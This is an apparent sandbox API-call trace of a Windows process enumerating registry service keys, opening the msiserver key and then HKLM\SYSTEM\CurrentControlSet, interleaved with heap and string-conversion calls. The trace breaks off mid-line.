[0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.579] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.580] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.581] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.582] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.583] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.584] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.585] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.585] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.586] RegCloseKey (hKey=0xc4) returned 0x0 [0253.586] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.586] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.586] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.586] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.586] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.587] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.587] RegCloseKey (hKey=0x148) returned 0x0 [0253.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.587] 